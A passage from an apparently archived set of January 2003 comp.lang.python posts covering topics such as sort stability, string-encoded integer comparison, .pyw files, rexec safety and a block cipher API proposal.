From: dave at pythonapocrypha.com (Dave Brueck)
Date: Sat, 25 Jan 2003 14:04:59 -0800 (PST)
Subject: Slurping Web Pages
In-Reply-To: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
Message-ID: <Pine.LNX.4.51.0301251403480.29892@ns0.tbye.com>

On Sat, 25 Jan 2003, Tony Dunn wrote:

> I've started a new project where I need to slurp web pages from a site that
> use cookies to authenticate access.  I've used *urllib* in the past to grab
> *public* web pages, but I'm not sure the best way to go about dealing with
> the cookie issue.
>
> I found some code to drive IE via COM, but I can't find a method to save the
> current web page to a file so I can *slurp* it later.  I've wandered through
> the file generated by makepy.py for the *Internet Control* COM object, but I
> don't see what I'm looking for.  I know I can grab the files from the local
> *Internet* cache, but I'd like the option to specify a file location and
> file name for each page downloaded.

Hi Tony,

I think some objects in the page DOM have an innerHTML member that lets
you grab all the page source (or most of it - I think for example the body
element has an innerHTML member at least). Search around on MSDN for that
and I'll also poke around in some old code to see what I can find.

-Dave




From clspence at one.net  Wed Jan 15 22:55:38 2003
From: clspence at one.net (Chris Spencer)
Date: 15 Jan 2003 21:55:38 -0600
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com> <mailman.1042682272.26642.python-list@python.org>
Message-ID: <6k5c2vcjc2c565orhe5s21o12hllhe0rbm@4ax.com>

On Wed, 15 Jan 2003 17:56:04 -0800, Chad Netzer <cnetzer at mail.arc.nasa.gov>
wrote:
>Again, I know nothing of SQL, but if you are doing a straightforward 
>lexicographical comparison here, this doesn't make sense.  These 
>values, if they are thought of as binary strings, are NOT ordered by 
>numerical value.
>
>For example, in Python (or any other common language with string 
>compare, that I know of), the first value is considered to be GREATER 
>than the second, ven though numerically it is clearly smaller, ie.:
>
>Python 2.2.2 (#1, Jan  3 2003, 12:42:27) 
>>>> a = "1111100111"
>>>> b = "110101101000"
>>>> a > b
>1
Ahhh..except the number of bits would be the same, so it'd be more like:
>>> a="001111100111"
>>> b="110101101000"
>>> a>b
>0
Which, as you can see, does evaluate correctly.

>
>Now, if things are different in SQL, then that is that.  But I could 
>only suggest that this is not the right newsgroup to discuss the issue 
>(despite most of the posters being nice, friendly people; of which I 
>must right now seem the exception)

	This isn't necessarily an SQL problem.  It's a problem of "how do I
compare two strings that have arbitrary integer values (positive and/or
negative) without the possibility of casting them as ints?"  And I think that's
a valid programming question.  And since I'm implementing a solution in Python,
I think it's a valid Python question.
	The only invariant in my problem is that the numbers MUST be represented
in strings.  I don't really care which base they are in, or if I have to pad
them out, or muck with them in weird ways.  The reason they MUST be strings is
because of limitations in SQL and the fact that this solution must be the same
across different SQL syntaxes.  That's the "problem" I'm trying to "solve" with
this Python programming question.
	Programming is about solving problems.  I asked a programming question
with a certain number of constraints as to what the solution could be.  I do NOT
think it's off topic for this newsgroup just because you don't like the
constraints.  If you can't help me, that's okay.  But please don't flame me.

Chris.

PS: Here's my take on conversion of ints and floats to binary.
However, this doesn't solve for things like: 5>-2 due to the "twos-complement"
nature of the binary representation of negative numbers.  So I'm kinda back to
square 1 on this...

def int2binary(i_IntVal):
	result=""
	blah=i_IntVal
	for i in range(64):
		foo=blah & 1
		result=`foo`+result
		blah=blah>>1
	return result

def float2binary(f_FloatVal):
	result=""
	blah=float(f_FloatVal)
	blah=`blah`
	neg=0
	if blah[0]=="-": neg=1
	parts=blah.split(".")
# cap the precision to 9 decimal places
# fill any remaining spaces with 0s
	parts[1]=parts[1][:9].ljust(9)
	parts[1]=parts[1].replace(" ","0")
	parts[0]=int(parts[0])
# turn the fraction into a negative value
# if the whole number is a negative value
	if neg: parts[1]=-1*int(parts[1])
	else: parts[1]=int(parts[1])
	return int2binary(parts[0])+"."+int2binary(parts[1])





From chrisk at nipltd.com  Thu Jan 23 13:48:38 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Thu, 23 Jan 2003 18:48:38 +0000
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com> <3E3023B0.7060000@Linux.ie>
Message-ID: <3E303906.9090100@nipltd.com>

Well different languages are better at different things

In python if something is *really* performance critical you spend some 
time and write it in C (never got it to work myself but seen others do it).

Python is (IMHO) a great high level language, and I love the fact that I 
don't have to worry about so much. I would not expect someone to rewrite 
  the kernel of a mainframe in Python though, I would guess C or maybe 
C++ would be a better language for this.

Does that make sence? If not blaim my powers of expression :-(

C

Padraig at Linux.ie wrote:
> Chris Keyes wrote:
> 
>> IBM will never use Python for everything...
> 
> 
> Why do you say this?
> 
> P?draig.
> 




From edream at tds.net  Sat Jan 11 16:44:53 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 21:44:53 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com>
Message-ID: <pf0U9.122583$Hs2.11515195@kent.svc.tds.net>

> > > I'm inclined to withhold judgment on such claims, admitting the
> > > possibility that I don't know everything.
> >
> > A better rule of thumb, IMO, is that extraordinary claims require
> > extraordinary justification.
>
> Whether or not a claim is extraordinary is totally in the mind (if
> any) of the person who dislikes the claim.


This statement is false.  If it were true we would have no basis on which to
judge any claim at all.

I believe I am discussing this issues on the merits.  And I have never said
I "dislike" the claim.  I have said only that I have doubts about it.
Indeed, I would be thrilled if the claim were true.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From max at alcyone.com  Tue Jan 21 03:21:44 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 00:21:44 -0800
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com>
Message-ID: <3E2D0318.B792D649@alcyone.com>

"Jonathan P." wrote:

> I hate code that takes up too many lines and
> have come up with the ff. idiom to replace
> many 4 line if statements:
> 
> result=[value-if-false,value-if-true][condition]
> 
> This idea could also be applied as a compact
> switch block replacement in certain cases.

This works if you don't need to worry about short-circuiting issues
(i.e., you don't even want the true/false cases _evaluated_ unless
you're the selected), and you're sure that the condition expression will
evaluate to either 0 or 1.

In 2.2.x and greater, you can use [x, y][bool(p)] to get this; prior to
2.2 you could use [x, y][operator.truth(p)].  Obviously, a tuple instead
of a list will work just as well:  (x, y)[bool(p)].

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only source of knowledge is experience.
\__/ Albert Einstein
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From aleax at aleax.it  Fri Jan 31 02:15:52 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 08:15:52 +0100
Subject: Implicit lists
In-Reply-To: <3E39EF53.2050206@tismer.com>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com>
Message-ID: <200301310815.52803.aleax@aleax.it>

On Friday 31 January 2003 04:36 am, Christian Tismer wrote:
   ...
> Besides th fact that I believe strings as sequences
> should be deprecated, since nobody makes use of it,

This is an overbid, IMHO: some (small) fraction of the time,
say 10%, I'm quite happy that strings are sequences for 
looping purposes; and far more often than that, for purposes
of slicing, concatenation, repetition.  Deprecation can maybe
be mooted for Python 3.0, of course, but no earlier.

> but everybody fights it...

In the relatively-rare case where I need to _distinguish_
between sequences and non-sequences, then it's indeed
more often the case that I want strings to be atoms.  But
the need to draw such distinctions is not exactly an
everyday task, anyway -- hardly worth something as
drastic as deprecating strings' sequence status, IMHO,
unless many more use-cases can be collected.


> ... I can't see the relevance of UserString.
> Wasn't getting rid of UserAnything one of the reasons
> for the introduction of the unified type/class system?

You may think that about the UserList module (though
one might find counter-arguments), but I think it's clearly
off-base for UserString -- how is inheritance going to
give you *mutable* strings, for example?

> UserString is only a compatibility module, IMHO.

M own HO differs.  The *ability* to inherit built-ins must
not turn into a *constraint* that you _have_ to inherit from
built-ins, even *without* using your base class's data
and method machinery (for example, you couldn't use
them to develop a mutable-string).  This would confuse
the role of inheritance as a code-reuse device with the
role of inheritance as a "type-tag" (a common enough
confusion, to be sure, but still a deleterious one).

In other words, there's still a space for the idiom "wrap
and delegate", and even for reimplementation without
even any wrapping.  It's a narrower space than it was
up to 2.1, when inheritance from built-ins wasn't allowed,
because now if you're HAPPY to get the base class's
data and machinery inheritance becomes natural -- but
too often you DON'T want to get them, though you DO
want to "be usable interchangeably with".  Forcing you
to inherit implementation (and then override it all) in
order to get polymorphic substitutability would be BAD.


> But maybe we could simplify matters by providing something
> like a stringlike() inquiry function.

One more special case?  Sure, that's what I proposed as
isstringlike.  But then do you also want isfilelike, isdictlike,
etc, for other such cases?  Protocol adaptation (the PEP
that refuses to die...) would be the right general framework
to use for framing all of such issues, IMHO.

> Strings being seen as sequences always have been a PITA
> for me, especially in user argument lists vs non lists.

If we were designing a Python-like language from scratch I
might agree (perhaps strings could be non-iterable but still
sliceable etc, for example, and an iterator might be gotten
by some explicit call to e.g. an .iter() method for those rare
instances where it's needed).  But in terms of modifications
to the existing Python language, I'm just not sure this issue
is compelling enough to be worth any modification.


Alex





From mwh at python.net  Wed Jan 15 14:14:23 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 19:14:23 GMT
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org>
Message-ID: <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk>

Christian Tismer <tismer at tismer.com> writes:

>  >>> True is False and False is True
> False
> 
> This is never true, false?

False:

>>> False = True
>>> True is False and False is True
1

> >>> bool(True == True)
> False

Now *that* I don't understand.

> # ouch! Let's make these invulnerable, ASAP,
> # and None, too

Hey, noone in this thread's even tried to fiddle with the builtins
yet...

Cheers,
M.

-- 
  Our Constitution never promised us a good or efficient government,
  just a representative one. And that's what we got.
      -- http://www.advogato.org/person/mrorganic/diary.html?start=109



From p-abel at t-online.de  Wed Jan 29 18:41:48 2003
From: p-abel at t-online.de (Peter Abel)
Date: 29 Jan 2003 15:41:48 -0800
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <13a533e8.0301281257.153b71fd@posting.google.com> <X7RZ9.100045$0v.2892758@news1.tin.it>
Message-ID: <13a533e8.0301291541.44138dbd@posting.google.com>

Alex Martelli <aleax at aleax.it> wrote in message news:<X7RZ9.100045$0v.2892758 at news1.tin.it>...
> Peter Abel wrote:
>    ...
> > If you change the order of sorting from
> > low order key to high order key, I can't see
> > any reason, why this shouldn't work stable.
> 
> the list.sort method is NOT guaranteed to be stable.
> It generally LOOKS stable, for small enough lists,
> up to Python 2.2 -- and it has been changed to one
> that happens to be stable in 2.3 -- but it's never
> a good idea to rely on such things, which may well
> change from one version to another: list.sort at any
> time will be the fastest sort Tim Peters can think
> up, whether that's a stable one or not.
> 
> If you DO need a stable sort, see:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52234
> 
> > # 1) Sort by 3rd name
> >>>> l.sort(lambda a,b:cmp(a[2],b[2]))
>  # 2) Sort by 2nd name
> >>>> l.sort(lambda a,b:cmp(a[1],b[1]))
>  # 3) Sort by 1st name
> >>>> l.sort()
>  ...
> > Though I can't say anything about speed.
> 
> I can: it will be lousy.  Besides, for this example, just
> the "# 3)" call happens to have the same end result as
> 1 then 2 then 3, because sequences compare lexicographically.
> 
Unfortunately --- thank God --- your're right !:-)
Think I've been taken by Brian Kransons's example:

  Kranson> >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],
  Kranson> ['Rubble', 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
  Kranson> >>> names.sort() #this will sort by last name
  Kranson> >>> print names
  Kranson> [['Flintstone', 'Fred'], ['Flintstone', 'Wilma'], ['Rubble',
  Kranson> 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Pebbles']]
  Kranson> ...
  Kranson> ...
  Kranson> >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],
  Kranson> ['Rubble', 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
  Kranson> >>> names.sort(lambda a, b: cmp(a[1], b[1])) #this will sort by 
  Kranson> first name
  Kranson> >>> print names
  Kranson> [['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
  Kranson> ['Flintstone', 'Pebbles'], ['Flintstone', 'Wilma']]

That made me believe, that changing his order of sorting would
be necessary to change the order of sorting result.


> The (printed) Python Cookbook's chapter on Sorting and
> Searching has a lot of useful and interesting info on
> such issues, particularly in Tim Peter's introduction.
> 
> 
> Alex

Think, I should learn that Cookbooks are not only
good to use in kitchen :-)

BTW Can one say under which circumstances the sort-function
happens to be not stable. I did some tries with 100 000 items
each with 3 or 5 random letters 'A' to 'Z' including some
equal items. But with the normal sort and the decorated 
sort and I couldn't find any results
that differed from each other?? (it took me more time 
to generate the list than to sort them !!)

Ciao
Peter



From aukkonen at shaw.ca  Mon Jan 20 22:52:20 2003
From: aukkonen at shaw.ca (Ari Ukkonen)
Date: Tue, 21 Jan 2003 03:52:20 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th>
Message-ID: <aukkonen-326F18.19521920012003@shawnews.gv.shawcable.net>

In article <b0gp1r$mec$1 at news.ksc.co.th>,
 "Allan Wichelman" <wichelman at hotmail.com> wrote:


Well put, but I disagree. :)

-- 
Ari Ukkonen



From wouterm at spammers-unite-here.com  Sun Jan 12 22:16:54 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Mon, 13 Jan 2003 11:16:54 +0800
Subject: Convert g3 faxes to ps/pdf
Message-ID: <avtael$ofv4@imsp212.netvigator.com>

Hi All!

I am fiddling a bit with mgetty+sendfax, writing a program in Python as
front-end.

These programs send and receive their faxes as g3 format, which is fine for
that purpose. For viewing and storing I want them as ps or pdf file! (to
convert between those two is trivial with ps2pdf).

Any clue on how to convert from g3 to ps? (or where I could ask this
question)
I tried fax2ps (from libtiff-progs), doesn't work - complains that it does
not know the g3 file (is not a tiff file).

I don't mind to have to use a few steps - e.g. g3 --> tiff --> ps --> pdf.

Wouter.





From max at alcyone.com  Fri Jan 24 06:33:51 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 03:33:51 -0800
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de> <8b5e42a6.0301240218.7b4d747e@posting.google.com>
Message-ID: <3E31249F.E47DC8C1@alcyone.com>

Levente Sandor wrote:

> Are there any advantages of your code versus the rexec module?

I haven't looked at Uwe's submission, but an obvious disadvantage to the
rexec/Bastion solutions is that they've just been officially declared
unsafe and it is suggested that programmers not use them until their
status is sorted out.  (I don't know the details of the exploits that
are available against them; I presume they have something to do with
new-style classes.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I am a gentlemen:  I live by robbing the poor.
\__/ George Bernard Shaw
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From adalke at mindspring.com  Tue Jan 28 19:40:43 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Jan 2003 17:40:43 -0700
Subject: Hacking Heaven - Leo+XEmacs Integrated
In-Reply-To: <b176jl$vrg$1@slb5.atl.mindspring.net>
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <b176jl$vrg$1@slb5.atl.mindspring.net>
Message-ID: <b177ua$b7$1@slb4.atl.mindspring.net>

> I tried.  So far it's in the category of "maybe a great idea
> but not yet at the state for me."

In trying to figure it out, I noticed that if I click on the
glyph to the left of the "NewHeadline" the item "NewHeadline"
is labeled.  I then tried to do something with that glyph.
Nope.  So I figured there wasn't any context menu for it.
Tried a few times too, until one time I slipped.

Turns out the text "NewHeadline" has a context menu but
not the glyph.  Does this difference have some semantic
meaning or is it a programming omission?

It's all very vague since I'm is accustomed to 1-D and
2-D editors.  (And some 3D chemical editors, but that's
not relevant.)

Though I'm leaning to the "haven't done usability studies"
part of the spectrum.

For example, the mouse glyph transitions for the upper
left window (with the "NewHeadline" item) is inconsistent.
When I start up, the mouse is pointing to the upper left,
like this

   |\
   | \
    \\

When over the "NewHeadline" text, it switched to a
text I-bar, which implies that it it writeable, with a change
of focus.  However, click once on the text and I get focus to
that pane, then click again to get text editing.  This may
be a Tk-ism, but it definitely is unexpected.
                                   __
Now click and release on the " --[__] " glyph to the left
of the "NewHeadline".  The mouse changes state from an
upper-left pointing shape to an upper right pointing one,
like this

     /|
    / |
    //

I don't know why it changes state.  Does it mean something?
I cannot get it to return to an upper-left pointing arrow,
so I appear to be in some alternate mode.

I have also been able to get the mouse pointer to be
in a left-pointing hand figure, but I have no reproducible
for that.


					Andrew
					dalke at dalkescientific.com




From escalation746 at yahoo.com  Wed Jan 29 15:12:53 2003
From: escalation746 at yahoo.com (robin)
Date: 29 Jan 2003 12:12:53 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <a626bbd7.0301291212.56379a7c@posting.google.com>

Christian Tismer <tismer at tismer.com> wrote:

> Anyone having some good suggestions?

Wouldn't the most minimal name be simply "P"?

-- robin



From max at alcyone.com  Mon Jan  6 01:11:41 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 05 Jan 2003 22:11:41 -0800
Subject: Explicit Frustration of the Self
References: <mailman.1041824949.25314.python-list@python.org>
Message-ID: <3E191E1D.824CBD2F@alcyone.com>

"Delaney, Timothy" wrote:

> Strangely enough (to you), I consider it one of the best features of
> Python.
> I have spent an inordinate amount of time trying to convince people to
> always use 'this' in Java and C++ on instance variables and methods.

I have to agree.  Right from the start of using Python (as an
experienced C++ programmer), I respected the existence of the explicit
self arguments and qualifications, and did not detract from them one
bit.

Besides, many C++ and Java programmers use something similar to
Hungarian notation* to set off identifiers that are members/fields in
classes, instead of just using `this->'.  Having to always qualify self
in Python just makes that automatic and required.

. 

* Again, I write "something similar to" simply to avoid the debacle of
whether it technically is or not.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I'll have to get over this sooner or later.  Why not now?
\__/ Louis Wu
    Esperanto reference / http://www.alcyone.com/max/lang/esperanto/
 An Esperanto reference for English speakers.



From max at alcyone.com  Wed Jan 29 02:18:00 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 23:18:00 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com> <7xsmvcl9gs.fsf@ruckus.brouhaha.com>
Message-ID: <3E378028.3FA9B988@alcyone.com>

Paul Rubin wrote:

> As for PEPs, I just looked at the existing ones; very few existing
> PEPs are about library modules, and hardly any existing library
> modules are described in PEPs.  Almost all the PEPs are about issues
> that affect Python internals.  Even the ones that are about libraries
> (like 272) seem mostly aimed at module implementers, not users.

PEPs are Python Enhancement Proposals; they are intended to justify (and
explain) an enhancement to the developer community, and namely to the
folk(s) that decide what goes into each release of Python.

> Library modules have usually been described for users in ordinary
> documentation, not PEPs.  Why do you want to suddenly start using PEPs
> in a way they haven't normally been used?

PEPs are not documentation for users, so I don't know what you're on
about here.

> Also, as I mentioned to David, there's already been a PEP for block
> ciphers (PEP 272) and it wasn't all that helpful.  I don't think
> anyone has ever implemented what it specifies.  Doing another one
> doesn't sound terribly worthwhile.  It's just going around in circles.

Why is it going around circles to revise the PEP that concerns this very
subject, fulfilling the very role for which PEPs were introduced? 
Revise the relevant PEP and make it will be accepted into the next
release.

Why does this have to go _in_ Python, anyway?  Why not just release it
as separate module?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Hell is other people.
\__/ Jean-Paul Sartre
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From tim.one at comcast.net  Thu Jan 30 10:54:09 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 30 Jan 2003 10:54:09 -0500
Subject: .pyw files
In-Reply-To: <15929.16456.450897.712748@montanaro.dyndns.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHEEPOEKAA.tim.one@comcast.net>

[Skip Montanaro]
> If I understand correctly, .pyw files on Windows are plain old
> source files,

Yes.

> but prevent console window popup when executed.

Due to file association magic:  .py is associate with python.exe, and .pyw
with pythonw.exe.  There's nothing like pythonw.exe on, e.g., a Linux box.
You could get the same effect with a .py file by running it with pythonw.exe
instead of with python.exe.  The entire difference is that python.exe uses
the main() in Module\python.c, but pythonw.exe compiles WinMain() in
PC\WinMain.c instead.

> Do they byte compile to .pyc files?

If imported, yes.

> Or does that question not make sense?

It depends on the use to which you put the answer <wink>.

> (Is the .pyw suffix only useful when it's the main application program,
> double-clicked by the user?)

Double-clicking isn't the only way to launch one of these, but yes, the
entire difference is in whether main() or the Windows-specific WinMain() is
used to get Python started.





From pyth at devel.trillke.net  Fri Jan 31 17:36:39 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 31 Jan 2003 23:36:39 +0100
Subject: Syntax checking python...
In-Reply-To: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>; from abelikov72@hotmail.com on Fri, Jan 31, 2003 at 10:05:48PM +0000
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
Message-ID: <20030131233639.I10804@prim.han.de>

Afanasiy wrote:
> 
> In other languages, I can receive syntax errors without the script having
> to execute. Please do not let this hurt your feelings. I merely bring up
> the other languages as an example of what I mean and what I am used to.
> 
> In Python, I will not receive a syntax error until the interpreter runs
> right into it. This is not very efficient for me during my development.
> 
> Is there a way I can be notified of my typos without having to run the
> interpreter up to those mistakes? That is my question. No smartasses.

There really isn't much difference regarding SyntaxErrors between
most languages:  you have to process your source code with some
program (usually a compiler) and then you get any complaints.
Well, in python this is 'python' itself.   If you want a more convenient 
tool then you can easily write some lines of code to have that.
There is a 'parser' module among others stuff that you can
use for this.

hope that helps,

    holger




From pangalactic at gargleblaster.org  Mon Jan 20 02:36:30 2003
From: pangalactic at gargleblaster.org (Chetan Gadgil)
Date: Mon, 20 Jan 2003 07:36:30 GMT
Subject: Python extension for MANAGED C++ with VC.NET
Message-ID: <2GNW9.59636$hl1.6803@sccrnsc04>

Hi

Is anyone working on the above?
I had started work on a library I called PyCLR - a module using Mark
Hammond's win32all, but later discovered that Mark had already done
something similar for Python.NET, but was not too happy with the results.

I have started on VC.NET with managed c++ and have "managed" (no silly pun
intended :)) to load an extension module into Python and call into Managed
Code.

Potentially, now I should be able to call any .NET assemblies from native
python, without going through COM.

However, I was curious if anyone is already working on those lines,
otherwise I might just be wasting my time.

If not, I intend to make the .NET extension module available under the
Python license, once my module is in a reasonably decent shape.

I tried using the "boost" library in managed C++ for python - it compiles,
but I get all sorts of assertion errors at runtime. Obviously, I need to
change lots of things for the managed/unmanaged C++ mix.
So I am doing it in "raw" C/C++ (managed/unmanaged).

If any of us who have already tried this, have any
comments/suggestions/advice, they are welcome to do so here.

As a side note - has anything changed in extension modules in Python 2.3a? I
tried exactly the same Managed C++ module that worked with Python 2.2.2
release - did not work on 2.3a. (2.2.2 does not compile on VC.NET without
some hacks for some obsolete macros - Looks like Mark Hammond has already
checked them in post 2.2.2 ...)

Regards
Chetan Gadgil





From max at alcyone.com  Mon Jan 20 03:54:47 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 20 Jan 2003 00:54:47 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org> <b0g2od$nq9$1@wheel2.two14.net>
Message-ID: <3E2BB957.2A2199CF@alcyone.com>

Martin Maney wrote:

> Jp Calderone <exarkun at intarweb.us> wrote:
>
> > ("a", "b", "c").join(" ") might make sense, but it would also
> > involve
> > writing a pile more code, and reducing the usefulness of the
> > operation.
> 
> How does that reduce the usefulness?  Seems to me that it would allow
> the restoration of the small conveninence of having a default
> separator, as string.join() did.

Setting aside for the moment this wasn't what the original poster was
talking about, the problem with a join method in every sequence is just
that:  It would have to be in _every_ sequence.  Not just lists, tuples,
(even strings) but user defined types as well.  This complicates the
"sequence" interface, which is at its core very simple:  it implements
the __getitem__ method, returning objects when passed sequential
integers starting from 0, and then raises an IndexError when it's done. 
This interface can be optimized by implementing more methods (say,
__len__), but it's not necessary.

Taking this approach to its logical conclusion, you rapidly get a case
of kitchensinkitis where _every_ sequence has to implement a huge
plethora of methods, or nothing's guaranteed to work.  That's the wrong
way around.

Besides, if you don't like the syntax of JOINER.join(SEQUENCE), you can
always just use the string.join(SEQUENCE, JOINER) function.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ In the little things / And the joy they bring
\__/ India Arie
    Bosskey.net / http://www.bosskey.net/
 A personal guide to online multiplayer first person shooters.



From Francois at iecholden.com  Fri Jan 10 09:51:16 2003
From: Francois at iecholden.com (Meehan, Francois)
Date: Fri, 10 Jan 2003 09:51:16 -0500
Subject: Python Based Bug Database?
Message-ID: <7190BF5EB309D511A15600508BF18D83560E09@exchange.iecholden.com>

There is also Roundup, to be found at http://roundup.sourceforge.net/


Regards,


Francois

-----Original Message-----
From: Kyler Laird [mailto:Kyler at news.Lairds.org]
Sent: January 10, 2003 9:45 AM
To: python-list at python.org
Subject: Re: Python Based Bug Database?


cmedcoff at comcast.net (Charles Medcoff) writes:

>Is anyone aware of a free or open-source, web based bug tracking
>system based on python?

Among others,
	http://www.zope.org/Members/peterbe/IssueTrackerProduct

--kyler
-- 
http://mail.python.org/mailman/listinfo/python-list




From andrew at indranet.co.nz  Thu Jan 23 05:21:23 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Thu, 23 Jan 2003 23:21:23 +1300
Subject: Sound programming: Tone production in Python?
In-Reply-To: <8r94g-b34.ln1@beastie.ix.netcom.com>
References: <mailman.1043280699.4791.python-list@python.org>
 <3E2F5BED.3A690CAF@engcorp.com> <8r94g-b34.ln1@beastie.ix.netcom.com>
Message-ID: <49580000.1043317283@localhost.localdomain>

--On Wednesday, January 22, 2003 21:06:15 -0800 Dennis Lee Bieber 
<wlfraed at ix.netcom.com> wrote:

> Peter Hansen fed this fish to the penguins on Wednesday 22 January 2003
> 07:05 pm:
>
>>
>> Just a stray question: what do you mean by zero-offset in this
>> context? I've written signal generators that can output arbitrary
>> periodic waveforms including sinewaves in this manner, but I don't
>> recall ever having to worry about anything I would have called the
>> "zero offset".
>>
>         As an bystander, I suspect what this refers to is that...
>
>         sin() (or cos() ) traditionally returns values from -1.0 to +1.0.
>
>         If you map that to an 8-bit unsigned integer, then
>                 -1.0    => 0
>                  0.0    => 127
>                 +1.0    => 255
>
>         sin(x) * 127 + 127 => 8-bit sample (note the loss of 1 value;
> 127+127=>254, not 255).

Yep, that's what I meant.  And I guess mutant things like a-law (it's 
nonlinear) deserve a mention too, although you'd not usually go there in 
anything but a VoIP app.

Andrew






From jepler at unpythonic.net  Fri Jan 17 12:38:58 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Fri, 17 Jan 2003 11:38:58 -0600
